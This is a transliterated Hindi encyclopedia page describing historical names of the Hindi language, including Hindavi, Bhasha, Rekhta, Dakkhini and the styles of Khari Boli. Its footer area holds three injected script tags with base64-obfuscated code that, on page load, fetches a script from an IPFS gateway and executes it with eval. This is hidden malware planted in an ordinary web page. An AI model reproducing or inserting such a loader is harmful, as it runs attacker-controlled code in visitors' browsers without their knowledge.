हिंदी के विभिन्न नाम
hiandi ke vibhinn nam ya roop nimn prakar haian-
hindavi
hindavi ko hinduee, jaban–e–hind, dehalavi namoan se bhi jana jata hai. madhyakal mean madhyadesh ke hinduoan ki bhasha, jisamean arabi–farasi shabdoan ka abhav hai. (sarvapratham amir khusaro (1253-1325) ne madhy desh ki bhasha ke lie hindavi, hiandi shabd ka prayog kiya. unhoanne deshi bhasha hindavi, hiandi ke prachar–prasar ke lie ek farasi–hiandi kosh 'khalik bari' ki rachana ki, jisamean hindavi shabd 30 bar, hiandi shabd 5 bar deshi bhasha ke lie prayukt hua hai.)
bhasha
bhasha ko bhakha bhi kaha jata hai. vidyapati, kabir, tulasi, keshavadas adi ne bhasha shabd ka prayog hiandi ke lie kiya hai. (19vian sadi ke prarambh tak is shabd ka prayog hota raha. fort viliyam k aaulej mean niyukt hiandi adhyapakoan ko 'bhasha muanshi' ke nam se abhihit karana isi bat ka soochak hai.)
rekhta
madhyakal mean musalamanoan mean prachalit arabi–farasi shabdoan se mishrit kavita ki bhasha. (jaise– mir, mirza galib ki rachanaean)
dakkhini
ise dakkani nam se bhi jana jata hai. madhyakal mean dakkan ke musalamanoan ke dvara farasi lipi mean likhi jane vali bhasha. (hiandi mean gady rachana parampara ki shuruat karane ka shrey dakkani hiandi ke rachanakaroan ko hi hai. dakkani hiandi ko uttar bharat mean lane ka shrey prasiddh shayar vali dakkani (1688-1741) ko hai. vah mugal shasak muhammad shah 'rangila' ke shasan kal mean dilli pahuancha aur uttari bharat mean dakkani hiandi ko lokapriy banaya.)
kh di boli
kh di boli ki tin shailiyaan haian—
- hiandi, shuddh hiandi, uchch hiandi, nagari hiandi, aryabhasha– nagari lipi mean likhit sanskrit bahul kh di boli (jaise—jayashankar prasad ki rachanaean).
- urdoo, jaban–e–urdoo, jaban–e–urdoo–mualla— farasi lipi mean likhit arabi—farasi bahul kh di boli.
- hindustani— hiandi aur urdoo ka mishrit roop v amajan dvara prayukt (jaise–premachand ki rachanaean).[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 13vian sadi se 18vian sadi tak hiandi–urdoo mean koee maulik bhed nahian tha.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>